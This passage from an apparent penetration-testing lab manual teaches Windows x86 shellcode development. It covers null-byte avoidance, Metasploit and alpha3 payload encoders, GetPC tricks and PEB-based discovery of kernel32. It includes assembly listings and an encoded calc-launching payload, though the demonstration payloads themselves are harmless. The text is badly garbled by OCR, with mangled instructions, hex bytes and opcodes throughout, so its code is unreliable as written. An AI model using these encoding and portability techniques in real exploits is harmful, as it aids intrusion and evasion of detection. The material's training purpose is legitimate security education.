referring to a negative offset from ebp. Using a negative offset will result in \xff bytes (and not \x00
bytes), thys bypassing the null byte limitation

IBITS 232)
XOR EAX , EAX ;set EAX to zero
MOV EBP,ESP ;set EBP to ESP so we can use negative offsac

PUSH OxFF6E6EL6C ;push part of string to stack

MOV [EBP~1},AL overwrite FF with 00

PUSH Ox6572614323 ;push rest of string to stack

MOV EBX,ESF ;save pointer to " * in EBX

PUSH O0xFF206E6]l ;push part of string to stack

MOV [EBP-9] AL ;overwrite FF with 00

FUSH Ox6c65726f ;push rest of string to stack

PUSH 0x43207962

PUSH 0x206465¢e

PUSH 0x777020¢e

PUZH 0x63656220

PIJSH Ox65766168

BUSER 0x20756f59

MOV ECX, ESP ;save pointer to " " in ECX

PUSH EAX ;put parameters on the stack
H EBX

1 BCX

EAX

TiisH EAX

MOV EST, 0x7E4SQTEA

JMP ESI ;MessageBoxd
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XOR EAX, EAX ;clean up

PUEH EAX

MOV EAX,O0x7c81CB12

JMP EAX ;ExitProcess {0)

Solution 3 : writing the original value bvte by byte

This technique uses the same concept as solution 2, but instead of writing a null byte, we start off by writing
nulls bytes to the stack (xor eax,eax + push eax), and then reproduce the non-null bytes by writing individual

bytes to negative offset of ebp

« Put current location of the stack into cbp
»  Write nulls to the stack (xor eax,eax and push ecax)
+  Write the non-nul! bytes to an exact negative offset location relative to the stack’s base pomter (ebp)

Example :
[BITS 32}
XOR EAX, EAX ;set EAX to zero
" MOV EBP,ESP ;set EBP to ESP so we can use negative oifsetl
PUSH EAX

MOV BYTE [EBP-2],6Eh

MOV BYTE [EBP-3),61h

MOV BYTE [EBP-4],6Ch

PUSH 0Ox65726f43 ;push rest of string to stack

MOV EBX, ESP ;save pointer to " " in EBX

It becomes clear that the last 2 techniques witl have a negative impact on the shellcode size, but they work just
fine.

Solution 4 : xor

Another technique 1s to write specific values in 2 registers, that will — when an xor operation 18 performed on
the values in these 2 registers, produce the desired value.

So let’s say you want to put 0x006E616C onto the stack, then you can do this :
Open windows calculator and set mode to hex

Type 777777EF

Press XOR

Type 006E616C

Copyright InfoSec Institute, Inc. | Expert Penctration Testing .ab Manual '



ﬂaxﬁ%ﬁg\ﬁg}ﬁiﬂg’jﬁvgﬁ;}gﬁ ey

INFOSI(

Result : 77191693

Now put each value (777777FF and 77191693) into 2 registers, xor them, and push the resulting value onto the
stack :
[BITS 32)

MOV EAX,O0x77777IFR
MGV EBX,0x771816893

XOR EAX,EBX JEAX now contains 0xC06E616C

PUSH EAX ;push it to stack

PUSH 0x65726£43 ;push rest of string to stack

MOV EBX,ESP ;save pointer to " " in EBX

MOV EAX, 0x777777FF
MOV EDX, 0x7757199E ;Don't use EBX because it already contains
;peinter to previous string

¥XOR EAX,EDX JEAY now contains 0x00206E61
PUSH EaX ;push it to stack
PUSH Ox6c65726f ;push rest of string to stack

PUSH 0x43207962
PUSH Ox2064656e
BUSH O0x7770206e
PUSH 0x65656220
PUSH Oxca7ltabl
PUSH O0x21756a51

MOV ECX,ESP ;save pointer to " " in ECX
XOR EAX,EAX ;set EAX to zero
FUSH EAX ;put parameters on the stack
PUSH EBX
ECX
EAX
EAX

MOV ESI,O0x7E4507EA
JMP EST ;MessageBoxA

XOR EAX, EAX ;clean up

PUSH EAX

MOV EAX,0x7c81lCB12

JMP ERX ;ExitProcess {0)

Remember this technique — you’ll see an improved impiementation of this technique in the payload encoders
section.

Solution 5 : Registers : 32bit -> 16 bit -> 8§ bit

We are running Intel x86 assembly, on a 32bit CPU. So the registers we are dealing with are 32bit aligned to (4
byte), and they can be referred to by using 4 byte, 2 byte or | byte annotations : EAX (“Extended” ...) is 4byte,
AX s 2 byte, and AL(low) or AH (high) are | byte.
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So we can take advantage of that to avoid null bytes,

Let’s say you need to push value | to the stack.

PUSH 0Ox1

The bytecode looks like this :

\x68\x01\x00\x00\x00

You can avoid the null bytes in this example by :

o Clear out a register

« Add 1 to theregister, using AL (to indicate the low byte)
« Push the register to the stack

Example :

XOR EAX, BAX
MOV AL, 1
PUSH EAX

Or, in bytecode :
Vx31\xcONAxbOAx0L\x50

Let’s compare the two:

[BITS 32}

PUSH 0Oxl
INT 3

XOR EAX, EAX
MOV AL, 1
PUSH EAX
INT 3
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5§ o 68 135

(6 DFEEFEFFFFD
¢ EEFFFFFFD

Both bytecodes are 5 bytes, so avoiding null bytes does not necessarity mean your code will increase in size.
You can obviously use this in many ways - for example to overwrite a character with a null byte, etc)

Technique 6 : using alternative instructions

Previous example (push 1) could also be written like this:

XOR EBY, EAX
INC EAX

PUSH EAX
CAX3LA\xc0\x40\x50

Note, only 4 bytes, so you can even decrease the number of bytes by being a little bit creative
Or you could try even do this :
©Ax6ANx01

This will also perform PUSH | and is only 2 bytes...

Technique 7 : strings ; from null bvte to spaces & nuil bytes

If you have to write a string to the stack and end it with a null byte, you can also do this :

+  Write the string and use spaces (0x20) at the end to make everything 4 byte aligned
+ Add null bytes

Example : 1f you need fo write “InfoSec Institute” to the stack, you can do this :

PUSH Ox006e6l6c ;push "InfoSec Institute” to stack
PUSH Ox65726£43

but you can also do this : (use space instead of null byte, and then push rull bytes using a register)
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XOR EAX, EAX

PUSH EAX

PUSH 0x2C6eb6léc ;push "InfoSec Institute ™ to stack
PUSH 0x65726£43

Conclusion :
These are just a few of many techniques to deal with null bytes. The ones listed here should at least give you an

idea about some possibilities if you have to deal with null bytes and you don’t want to (or — for whatever reason
— you cannot) use a payload encoder.

Encoders : Payload encoding
Of course, instead of just changing individual instructions, you could use an encoding technique that would
encode the entire shellcode. This technique is often used to avoid bad characters... and in fact, a null byte can

be considered to be a bad character too.

So this is the right time to write a few words about payload encoding.

(Pavload) Encoders

Encoders are not only used to filter out null bytes. They can be used to filter out bad characters in general, or
overcome a character set limitation

Bad characters are not shellcode specific — they are exploit specific. They are the result of some kind of
operation that was executed on your payload before your payload could get executed. For example replacing
spaces with underscores, or converting input to uppercase, or in the case of null bytes, would change the
payload buffer because it gets terminated/truncated.

How can we detect bad characters ?

Detecting bad characters

The best way to detect if your shellcode will be subject to a bad character restriction is to put your shellcode in
memory, and compare it with the original shellcode, and list the differences.

You obviously could do this manually, compare bytes in memory with the original shellcode bytes, but it will
take a while.

You can also use one of the debugger plugins available :
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windbg : byakugan

or Immunity Debugger : pvefindaddr :

/

First, write your shelicode to a file (pveWritebin.pl — see earlier in this document). .. write it to
c:\tmpishellcode.bin for example

Next, attach Immunity Debugger to the application you are trying to exploit and feed the payload (containing
the shellcode} to this application.

When the application crashes (or stops because of a breakpoint set by you), run the following command to
compare the shellcode in file with the shellcode in memory :

'pvefindaddr compare c:\tmp'shellcode

EAFERBSBRAPERRK
h Taale - 4lg
dRSAERFE VAR RN

‘?.5 hielicede.bin

If bad characters would have been found (or the shellcode was truncated because of a null byte), the Immunity
Log window will indicate this.

If you already know what your bad chars are (based on the type of application, input, buffer conversion, etc),
you can use a different technique to see if your shellcode will work.
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hars you need to take care of are 0x48, 0x65, 0x6C, O0x6F, 0x20,
then vou can use skylined’s beta3 utility again. You need to have a bin file again (bytecode written to file) and
then run the following command against the bin file :

betald.py —--badchars 0x48,0x65,0x6C,0x6F, 0x20 shellcode.bin

If one of these “bad chars” are found, their position in the shellcode will be indicated.

Encoders : Metasploit

When the data character set used in a payload is restricted, an encoder may be required to overcome those
restrictions. The encoder will either wrap the original code, prepend it with a decoder which will reproduce the
original code at runtime, or will modify the original code so it would comply with the given character set

restrictions.

The most commonly used shellcode encoders are the ones found in Metasploit, and the ones written by skylined
(alpha2/alpha3).

Let’s have a look at what the Metasploit encoders do and how they work, so you would know when to pick one
encoder over another.

You can get a list of all encoders by running the ./msfencode -1 command. Since we are targetting the win32
platform, we are only going to look at the ones that we written for x86

./msfencode -1 -a x86

Framework Encoders {architectures: x86)

Name Rank Description

generic/none normal The " " Encoder

x86/alpha mixed low Alpha?2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid utf8_tolewer manual Avoid UTF8/tolower

x86/calid dword xor normal Cail+4 Dword XOR Encoder

x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-i=zngth Fnstenv/mov Dword XCR Encoder
x86/9mp _call additive normal Jump/Call XOR Additive Feedback Encoder
®86/nonalpha low Non-Alpha Encoder

X86/nonupper low Non-Upper Encoder

x86/shikata ga nai excellent Polymorphic XOR Additive Feedback Enccder
x86/single static_bit manual Single Static Bit

#86/unicode mixed manual AlphaZ2 Alphanumeric Unlccode Mixedcase Encoder
x86/unicode upper manual AlphaZ Alphanumeric Unicode Uppercase Encoder

The default encoder in Metasploit is shikata ga nati, so we’ll have a closer look at that one.
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x86/shikata_ga_nai

Let’s use our original message shellcode (the one with null bytes) and encode it with shikata ga nai, filtering
out null bytes :

Original shellcode

C:\shellcoderper]l pveReadbin.pl msgbox.bin
Reading msgbox.bin
Read 78 bytes

We wrote these bytes to /pentest/exploits/shellcode.bin and encoded them with shikata_ga nai :

./msfencode ~b '\x00' -we /pentest/exploits/shellcode.bin -t ¢
[*] =x86/shikata_ga nai succeeded with size 105 {(iteration=1)

unsigned char buf{] =

- Note: Don’t worry if the output looks different on your system — you’ll understand why it could be different in
© just a few moments.

Another Note : Encoder increased the shellcode from 78 bytes to 105.

Loaded into the debugger, using the testshellcode.c application, the encoded shellcode looks like this -
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FLTGRINE

5UR ECK,

HOU £01, 58010763
acTL ot I ¢

tnn:. tEi’. 2 4154041, B0
HE £BF
T .

Usknéwh Sordzandg
% BYTE PTR DS:{ESIY
EYTE PTR DS:EEDRLII.OM
0%, £
QF 4, ERE P ]
Uaknowrn

Padisi ten of segnent register

OWORD PTR ES:[EOID

As you step through the instructions, the first time the XOR instruction (XOR DWORD PTR
DS:{EBX+15],EDI is executed, an instruction below (XOR EDX,93243469) 1s changed to a LOOPD

instruction :

CPU- mam thread mnduie shelh:mi

From that point forward, the decoder will loop and reproduce the original code. .. that’s nice, but how does this
encoder/decoder really work 7

The encoder will do two things :

1. It will take the original shetlcode and perform XOR/ADD/SUR operations on it. In this example, the XOR
operation starts with an initial value of 58010763 (which is put in EDI in the decoder). The XORed bytes are
writien after the decoder loop.

2. Tt will produce a decoder that will recombine/reproduce the original code, and write 1t right below the
decoding foop. The decoder will be prepended to the xor’ed instructions. Together, these two components make

the encoded payload.
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When the decoder runs, the following things happen :

+ FCMOVNE ST,ST(1) (FPU instruction, needed to make FSTENV work — see later)

« SUB ECX,ECX

« MOV EDI 58010763 : wmitial value to use in the XOR operations

+ MOV CL,14 : sets ECX to 00000014 (used to keep track of progress while decoding). 4 bytes will be
read at a time, so 14h x 4 = 80 bytes (our original shellcode is 78 bytes, so this makes sense).

» FSTENV PTR SS: [ESP-C] : this results in getting the address of the first FPU instruction of the decoder
(FCMOVNE in this example). The requisite to make this instruction work is that at least one FPU
instruction is executed before this one — doesn’t matter which one. (so FLDPI should work too)

+ POP EBX . the address of the first instruction of the decoder is put in EBX (popped from the stack)

It looks like the goal of the previous instructions was to get the address of the begin of the decoder and put it in
EBX, and set ECX to 14.

Next, we see this :

« ADD EBX/4: EBX is increased with 4

« XOR DWORD PTR DS: [EBX+15], EDI : perform XOR operation using EBX+15 and EDI, and write
the result at EBX+15. The first time this instruction is executed, a LOQOPD instruction is recombined.

« ADD EDI, DWORD PTR DS:[EBX+15] : EDI is increased with the bytes that were recombined at
EBX+135, by the previous instruction. '

Ok, 1t starts to make sense. The first instructions in the decoder were used to determine the address of the first
instruction of the decoder, and defines where the loop needs to jump back to. That explains why the loop
instruction itself was not part of the decoder instructions, because the decoder needed to determine it’s own
address before it could write the LOOPD instruction, but had to be recombined by the first XOR operation.

From that pomnt forward, a loop is initiated and results are written to EBX+15. EBX is increased with 4 each
iteration. So the first time the loop is executed, after EBX is increased with 4, EBX+15 points just below the
loopd instruction (so the decoder can use EBX (+15) as register to keep track of the location where to write the
decoded/original shellcode). As shown above, the decoding loop consists of the following instructions

ADD EBX, 4
XOR DWORD PTR D3: {EBX+15}, EDI
ADD EDI, DWORD PTR DBS: [EBX+15]}

Py - mam thread modu!e shel!cod

e CL, 14
FETEMUE Lo Doeti
FoP EEH
Hﬂﬁ EE

I DMGRD PTR DS: [EEX+153,E01
HDH EQL, OWORD PTR ﬁa.tESX+153
. s wHUFT shei logd, 8404108
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Again, the XOR instruction wilt produce the original bytes and write them at EBX+15. Next, the result is added
to EDI, which is used to XOR the next bytes in the next iteration.

The ECX register is used to keep track of the position in the shellcode, and counts down. When ECX reaches 1,
the original sheilcode is reproduced below the loop, so the jump (LOOPD) will not be taken anymore, and the .
original code will get executed, because it is located directly after the loop.

PUY - frsain Ehread, modiule shellcod

Ok, look back at the description of the encoder in Metasploit :

Polymorphic XOR Additive Feedback Encoder

We know where the XOR and Additive words come from... but what about Polymorphic ?
Well, every time you run the encoder, some things change

o The value that is put in ESI changes
« The place of the instructions to get the address of the start of the decoder changes
» The registers used to keep track of the position (EBX in our example above, EDX i the screenshot

below) varies.

In essence, the order of the intructions before the loop change, and the variable values (registers, value of ESI)
changes too.
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FETER) (28

POP EQX

XOR ECX,ECH

MU €L, 14

¥OR BUGRD PTR DS:(EON+141,ES]
AOD EST,DUDAD FTR DS: [EDK+HA4]

TElcgal o

L
PUSH £CX

2

This makes sure that, every time you create an encoded version of the payload, most of the bytes will be _
different without changing the overall concept behind the decoder, This makes this payload “polymorphic” /
hard to get detected.

x86/alpha_mixed

Encoding our example msgbox shellcode with this encoder produces a 218 byte encoded shellcode :

./msfencode -e x86/alpha mixed -b '\x00' -we /pentest/exploits/shellcode.bin -t ¢
size

~ T i - o P Dl 2 O
{*1 x86/alpha mixed succseseded with L {(iteration=1
e Pag_ ]

unsigned char buf([] =

As you can see in this output, the biggest part of the shellcode consists of alphanumeric characters (we just have
a couple of non-alphanumeric characters at the begin of the code)

The main concept behind this encoder is to reproduce the original code (via a loop), by performing certain

operations on these alphanumeric characters — pretty much like what shikata ga nai does, but using a different
(limited) instruction set and different operations.

x86/fnstenv_mov

Yet another encoder, but it will again produce something that has the same building blocks at other examples of
encoded shelicode :

» Getpe (see later)
« Reproduce the original code (one way or another - this technique is specific to each encoder/decoder)
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« Jump to the reproduced code and run it
Example : WinExec “cale” shellcode, encoded via fustenv_mov

Encoded shellcode looks like this :

"\ x6a\x33\x59\ xdo\ xee\xdS\x 74\ x24 \x LA\ x5\ xB81 \x 73\ »13\x48"
"N\Nx9ANxIb\x3b\x83\xeb\ xfe\xe2\x L4\ xbA\x 75\ x 72\ #3b\ %48 \x9g"
"\ x9bi\xb2\xad\xac\x29\x5Ff \xc3\ e\ xchixb0\x1a\x81\x70\x69"
TABC\RIGAXBOA\ X134 7 \%2a \xb1\x1d\ x 79\ x62\xca\xfb\xed\xal"
"\ x9a\x4T7\xda\xbl\xdb\xfa\x87\x90\xfa\xfc\xaa\xéd\xa%\x6c"
"\xe3\xcfixeb\xb0\xlaixal\xfalxeb\xc3\xdd\x83\xbe\x88\xed"
"AxblAx3a\x98\xcd\xT70\x734x50\x 16 \xa3\x1b\ x4 9\ x4\ x18\x07"
"Ax01\x16A\xcFAxb0\x49\xEb\xca\xcd \ x 7o\ x5d\ x5 T\ xfa\x87\x90"
MU xFa\xfe\x70\xTd\x8e \xcf\x4b\xe0\ 203\ x00\x35\xb9\x8e\xd9"
M\x10\x16\xa3\x1f\x49\x4e\x%9d\xb0\x44 \ xd6\x 70\ x63\x54\ x9%c"
"Ax28\xbO\xdc\x1l6\xfa\xeb\ Xl \xd9\xd FfAR]IFAx13\xcHE\x%a\x62"
"\xl12\xce\x04\xdb\x10\xc2\xal\xb0\x%a\x 76 \x7d\x66\x22\x9c"
"\x76\xbe\xf1\x9d\xfb\x3b\x18\xf5\xca\xb0\x27\x1la\x04\xee"
"\ E3AX64\xAe\ x99\ x1e\ x o\ x5d\ xae\x 5\ x 00\ %04\ xee\x 74\ x9b™"
"An8TAR3IAReB\ 66 \x1b\xde\x4d\ X266\ xbc\x28 \x3a\xf2\x81\x3b"
A RIbAXE2\X2e\ X558\ X290\ xF1l\x 98 \x15\x2d\xeb\x%e \x3b\x42\x9d"
"\ xfb\x3b";

When looking at the code in the debugger, we see this

IEIEE]
FOP ECh
FLE
FETENY,

POP £EX ' |
21 XOR BWORD PTR 0S: [EDX+13), 3EFEODIS
& £RL, —4

' SHORT testshel,@040z1i8R
JE £1. G048 106

DEG £AY
FOPFQ

WATT
MY DL, 9AD

« PUSH 33 + POP ECX=put 33 in ECX. This value will be used as counter for the loop to reproduce the

original shellcode.

« FLDZ + FSTENV : code used to determine it’s own location in memory (pretty much the same as what

was used n shikata ga nai)
« POP EBX : current address (result of last 2 instructions) 1s put in EBX

« XORDWORD PTR DS:IEBX+13], 3BFB9D48 : XOR operation on the data at address that is relative

(+13) to EBX. EBX was initialized in the previous instruction. This will produce 4 byte of original
shellcode. When this XOR operation is run for the first time, the MOV AH,75 instruction (at
0x00402196) is changed to “CLD”

« SUBEBX, -4 (subtract 4 from EBX so next time we will write the next 4 bytes)

« LOOPD SHORT : jump back to XOR operation and decrement ECX, as long as ECX is not zero
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First, a call to 0x00402225 1s made (main function of the shellcode), where we can see a pointer to “calc.cxe”
getting pushed onto the stack, and WinExec being located and executed.

XTI Moo

E?
T QonTimpenas

EFFR_FILE_MIT _Fiiad pon
EPL B bE L BE MG POLCE 5D

i)

Pl im0

Don’t worry about how the shellcode works (“locating winexec, etc”) for now — you’ll learn all about it in the
next chapters.

Take the time to look at what the various encoders have produced and how the decoding loops work. This
knowledge may be essential if you need to tweak the code.
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Encoders : alpha3
The alpha3 encoding utility (improved version of alpha2, which we have discussed in the unicode 1ab). Alpha3
will produce 100% alphanumeric code, and offers some other functionality that may come handy when writing

shetlcode/building exploits. Definitely worth while checking out !

" Little example : let’s assume you have written your unencoded shellcode into calc.bin, then you can use this
command to convert it to latin-1 compatible shellcode :

ALPHA3.comd %86 latin-1 call --input=calc.bin > calciatin.bin

Then convert it to bytecode -

perl pveReadbin.pl calclatin.bin
Reading calclatin.bin
Read 405 bytes
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Encoders : Write one yourself

We could probably dedicate an entire Jab writing encoders (which is out of scope for now). You can, however,
use this excellent uninformed paper, http://www.uninformed.org/?v=5&a=3&t=sumry, on how to implement a
custorm x86 encoder,

Using GetPC

If you paid attention when we reviewed shikata_ga nai and fstenv_mov, you may have wondered why the first
set of instructions, apparently retrieving the current location of the code (itself) in memory, were used and/or
needed. The idea behind this is that the decoder may need to have the absolute base address, the beginning of
the payload or the beginning of the decoder, available in a register, so the decoder would be

+ Fully relocatable in memory (so it can find itself regardless of where it is located in memory)

« Able to reference the decoder, or the top of the encoded shellcode, or a function in the shellcode by
using base_address of the decoder code + offset... instead of having to jump to an address using
bytecode that contains nuil bytes.

This technique is often called “GetPC” or “Get Program Counter”, and there are a number of ways of getting
PC:

CALL $+5

By running CALL $-+5, followed by a POP reg, you will put the absolute address of where this POP instruction
is located in reg. The only issue we have with this code is that it contains null bytes, so it may not be usable in a

lot of cases.
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CALL geteilp
geteip:
pop eax

This will put the absolute memory address of pop eax into eax. The bytecode equivalent of this code also
contains null bytes, so it may not be usable too in a lot of cases.

CALL $+4

This is the technique used in the ALPHA3 decoded example (see above) and is described here:

http://skvpher.com/wiki/index.php/Hacking/Shellcode/GetPC

3 instructions are used to retrieve an absolute address that can be used further down the shelicode

CALL 3+4
RET
popP ECX

o weSuwihxffx ot call + 4
s \xe3ocret
e« 59 : pop ecx

So basically, the call + 4 will jump to the last byte of the call imstruction itself :

eS8\ ffx i fixff => will jump to the the last \xff (putting a pointer to that location on the stack). Together
with \xc3, this becomes "INC EBX" (\xff\xc3), which acts as a nop here. Then, the pop ecx will retrieve the
pointer from the stack.

As you can see, this code is 7 bytes long and does not have null bytes.

FSTENV

When we discussed the internals of the shikata ga nai & fstenv_mov encoders, we noticed a neat trick to get
the base location of the shellcode that is based on FPU instructions. The technique is based on this concept :

Execute any FPU (Floating Point) instruction at the top of the code, then execute “FSTENV PTR SS: [ESP-C]”

The combination of these two mnstructions will result in getting the address of the first FPU instruction (so if
that one is the first instruction of the code, you’ll have the base address of the code) and writing 1t on the stack.
In fact, the FSTENV will store that state of the floating point chip after issuing the first instruction. The address
of that first instruction is stored at offset 0xC. to A simple POP reg will put the address of the first FPU
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instruction in a register. And the nice thing about this code is that it does not contain null bytes. Very neat trick
indeed !

Example :

[BITS 32}
FLDPI

FSTENV [ESP-0xC]
POP EBX

Bytecode :
"NadO\xeb\x9b\ xdO\x T4\ x24 \xF4\u5b";

Note: This is 8 bytes, no null bytes.

Backward call

Another possible implementation of getting PC and make it point to the start of the shellcode/decoder (and
make a jump to the code based on the address) is this :

[BITS 32]
jmp short InfoSec Institute
geteip:
pop esi
call esi ;this will jump to decoder

InfoSec Institute:
call geteip
decoder:
; decoder goes here

shellcode:
; encoded shellcode goes here

Bytecode:

"\xeb\x03\x5e\xff\xdb\xe 8\ FE\REFL"
"\NxfE\xfE";

Making the asm code more generic : getting pointers to strings/data in general

In the example earlier in this document, we converted our strings into bytes, and pushed the bytes to the stack. .,
There’s nothing wrong with that, but since we started using/writing asm code directly, there may be a
different/perhaps easier way to do this.

Let’s take a look at the following example, which should do exactly the same as our “push bytes” code above
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[Section .text)
[BITS 32}

global _start
_start:

jmp short GetCaption ; jump to the location
; of the Capticon string

CaptionReturn: ; Define a label to call so that
; string address is pushed on stack
ool ebx ; ebx now points to Caption string
jmp short GetText ; jump to the location of the Text string
TextReturn:
LOP ecH ; ecx now points to the Text string

;now push parameters to the stack

XOr eax,eax ; zero eax - needed for ButtonType & Hwnd
puszh eax ; pumh null @ ButtonType
pusn ebx ; push the caption string onto the stack
push ecx ; push the text string onto the stack
push eax ; null : hWnd
mov ebx,0x7E4507EA ; place address of MessageBox into ebx
call ebx ; call MessageBox
XOr €ax,eaX ; zero the register again te clear
; MessageBox return value
; freturn values are often returned into eax)
push eax ; pvush null (parameter value Q)
mov ebx, 0x7c81lCB1l2 ; place address of ExitProcess into ebx
call ebx ; call ExitProcess (0);
" GetCaption: ; Define label for location of caption string
call CapticonReturn ; call raturn label so the return address
; {location of string) is pushed onto stack
db " " ; Write the raw bytes into the shellcode
; that represent ounr string.
db 0x00 ; Terminate oury string with a null character.
GetText: ;Define label for locaticon of caption string
call TextReturn ;call the rsturn label so the
;raturn address {location string)
;is pushed onto stack
db " * ;Write the raw bytes into shellcode
;that represent <ur string.
db 0x00 ;Terminate our string with null

Basically, this is what the code does :

« Start the main function (_start)
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of where the “InfoSec Institute™ string on the top of the stack. Next, this pointer is put in cbx

+ Do the same for the “You have been pwned by InfoSec Institute” string and save a pointer to this string
in ecx ‘

« Zero out eax

+ Push the parameters to the stack

« Call the MessageBox function

« Exit the process

The biggest difference is the fact that the string is in readable format in this code (so it’s easier to change the
text).

After compiling the code and converting to shellcode, we get this

C:\shellcode>" "
msgboxd ., asm
-~ msgboxd.bin

C:\shellcode>perl pveReadbin.pl msgbox4.bin
Reading msgbox4.bin
Read 78 bytes

Number of null bytes : 2

The code size is still the same, but the null bytes clearly are in different locations (now more towards the end of
the code) compare to when we pushed the bytes to the stack directly.

When looking at the shellcode in the debugger, this is what we see :

+ Jumps required to push the strings on the stack and get a pointer in EBX and ECX

« PUSH instructions to put parameters on the stack

« Call MessageBoxA

»  Clear eax (which contains return value from MessageBox) and put parameter on stack
+ Call ExitProcess

The following bytes are in fact two blocks, each of them does the following:
« Jump back to the “main shellcode”

« Followed by the bytes that represent a given string
+ TFollowed by 00

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual | :



Y

After the jump back to the main shellcode is made, the top of the stack points to the location where the jump
back came from = the start location of the string. So a pop <reg> will in fact put the address of a string into reg.
Since this technique offers better readability, and since we will use payload encoders, we’ll continue to use this
code as basis for the remaining parts of this lab. Again, that does not mean that the method where the bytes are
just pushed onto the stack is a bad technique... it’s just different

Tip : If you still want to get rid of the null bytes too, then you can stilt use one of the tricks explained earlier
(see “sniper”). So instead of writing:

db "InfoSec Institute"
db» 0x00

You could also write this :

dl "InfoSec InstituteX”

and then, replace the X with 00

(assuming “reg” points to start of string) :

XOr eax,eax
mov [reg+0x07],al ;overwrite ¥ with null byte

Alternatively you can use payload encoding to get r1d of the null bytes too. It’s up to you.

What’s next ?

We now know how to convert ¢ to asm, and take the relevant pieces of the asm code to build our shellcode. We
also know how to overcome null bytes and other character set / “bad char™ limitations.

But we are not nearly there yet.

In our example, we assumed that user32.dll was loaded so we could call the MessageBox APl directly. In fact,
user32.dll was indeed loaded (so we did not have to assume that), but if we want to use this shellcode in other
exploits, we cannot just assume it will be there. We also just called ExitProcess directly (assuming that
kernel32.dll was loaded).

Secondly, we hardcoded the addresses of the MessageBox and ExitProcess APIs in our shellcode. As explained
carlier, this will most likely limit the use of this shellcode to XP SP3 only.

Our ultimate goal today is to overcome these 2 limitations, making our shellcode portable and dynamic.
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Writing generic/dynamic/portable shellcode

Our MessageBox shellcode works fine, but only because user32.dl} was aiready loaded. Furthermore, it contains
a hardcoded pointer to a Windows APT in user32.d1l and kernel32.dli. If these addresses change across systems,
which is quite likely, then the shellcode may not be portable.

The term “portability” does not only refer to the fact that no hardeoded addresses should be used. It also
includes the requirement that the shellcode should be relocatable in memory and should run regardless of the
stack setup before the shelicode is run.  This means that - apart from the fact that using hardcoded addresses is
a “no-go” - you will have to use relative calls in your code. .. and that means that you may have to locate your
own location in memory, so you can use calls relative to your own location. We have talked about ways to do
this earlier in this lab (see GetPC).

Making shellcode portable, as you will find out, will increase the shellcode size substantially. Writing
portable/generic shellcode may be interesting if you want to prove a point that a given application is vulnerable
and can be exploited in a generic way, regardless of the Windows version it is running on.

It’s up to you to find the right balance betwceen size and portability, all based on the purpose and restrictions of
your exploit and sheilcode. In other words : big shellcode with hardcoded addresses may not be bad shelicode if
it does what you want it to do. At the same time it’s clear that smaller shellcode with no hardcoded addresses,
require more work,

In summary, how can we load user32.d1l ourselves and what does it take to get rid of the hardcoded addresses ?

Introduction : system calls and kernel32.dH

When you want an exploit to execute some kind of useful code, you’ll find out that you will have to talk to the
Windows kernel to do so. You’ll need to use so-called “system calls” when you want to to execute certain 0S
specific tasks.

Unfortunately the Windows OS does not really offer an way, an interface, an API to talk directly to the kernel
and make it do useful stuff in an easy manner. This means that you will need to use other API’s available in the
OS dlls, that will in return talk to the kernel, to make your shellcode do what you want it to do.

Even the most basic actions, such as popping up a Message Box (in our example), require the use of such an .
API: the MessageBoxA API from user32.dll. The same reasoning applics to the ExitProcess API
{(kernel32.d1l), ExitThread(} and so on.

In order to use these AP, user32.dll and kernel32.dll needed to be loaded and we had to find the function
address. Next we had to hardcode it in our exploit code to make it work. It worked on our system, but we got
lucky with user32.dll and kernel32.dil, because they seemed to be mapped when we ran our code. We also have
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works on XP SP3.

How can we make this more dynamic ? Well, we need to find the base address of the dil that holds the AP, and
we need to find the address of the AP inside that dll.

DLL is short for “Dynamically Linked Libraries”. The word “dynamically” indicates that these dlls may/can
get [oaded dynamically into process space during runtime. Luckily, user32.dll is a dil that is commonly used
and gets loaded into many applications, but we cannot realy rely on that.

The only dli that 1s more or less guaranteed to be loaded into process space is kernel32.dil.  The nice thing
about kernel32.dll is the fact that it offers a couple of API’s that will allow you to [oad other dlls, or find the
address of functions dynamically :

» LoadLibraryA (parameter : pointer to string with filename of the module to load, returns a pointer to
the base address when it was loaded successfully)
» GetProcAddress

That’s good news. So we can use these kernel32 APls to load other dlls, and find APT’s, and then use these
APT’s from those other dlls to run certain tasks (such as setting up network socket, binding a command shell to

it, etc)

Almost there, but yet another issue arises : kernel32.dll may not be loaded at the same base address in different
versions of Windows. So we need to find a way to find the base address of kernel32.dll dynamically, which
should then allow us to do anything else (GetProcAddress, LoadLibrary, run other API’s) based on finding that
base address.

Finding kernel32.dl1

Here are three techniques on how we can find kernel32.dl1 :

PEB

This is the most reliable technique to find the base address of kernel32.dll, and will work on Win32 systems
starting at 95, up to Vista. The code described does not work anymore on Windows 7, but we’ll look at how this
can be solved, using information found in the PEB.

The concept behind this technique is the fact that, in the list with mapped modules in the PEB (Process

Environment Block — a structure allocated by the OS, containing information about the process), kemel32.dll is
always constantly listed as second module in the InlnitializationOrderMeduleList. Again, except for Windows

7.
The PEB is located at f5:[0x30] from within the process.

The basic asm code to find the base address of kemel32.d1 looks like this :

(size : 37 bytes , null bytes : yes)
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find_ kernel3?
suEt esl
XO¥r eax,
mov eax,
test eax,

@ax
[fa:eax+0x30]
eax

75 find kernel3Z 9x
find kernel3Z nt:

mov eax,
mov esi,
lodsd

mov eax,

imp find

find kernel3Z
mov eax,
lea eax,
mov eax,

find kernel32
popr esi
ret

feax + 0xr0c}
{eax + Oxlc]

feax + 0x8}
kernel3Z finished
_9x:

[eax + 0x34)

[eax + Ox7c}

[eax + 0x3ci
_finished:

At the end of this function, the base address of kernel32.dll will be placed in eax. You can leave out the final ret
instruction if you are using this code inline.

Of course, if you don’t want to target Win 95/98, then you can optimize/simplify the code a bit :

(size : 19 bytes, null bytes : no}

find kernel3Z
rush esil
XOr eax,
mov eax,
mov eax,
mov esi,
lodsd
mev eax,
pop esi
ret

eax
{fs:1eax+0x30)
feax + 0x0c]
[eax + 0xlc]

[eax + 0x8)

Note: Again, you can leave out the last ret instruction if you applied this code inline.

Next, with some minor changes, you can make this one null-byte-free

find kernel3Z2
migh esi
xor ebx,ebx
mov bl,0x30

XOr eax, €a
mov eax, [f
mov eax, |
mov &si, |
lodsd

mov eax, |
PO esil

; clear ebx
; needed to aveoid null bytes
; when getting pointer to PLEB
% ; clear eax
s:ebx ] ; get a pointer to the PEB, no null bytes
eax + 0x0C ] ; get PEB->Ldr
eax + 0Oxlc ]

eax + 0x8}
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ret

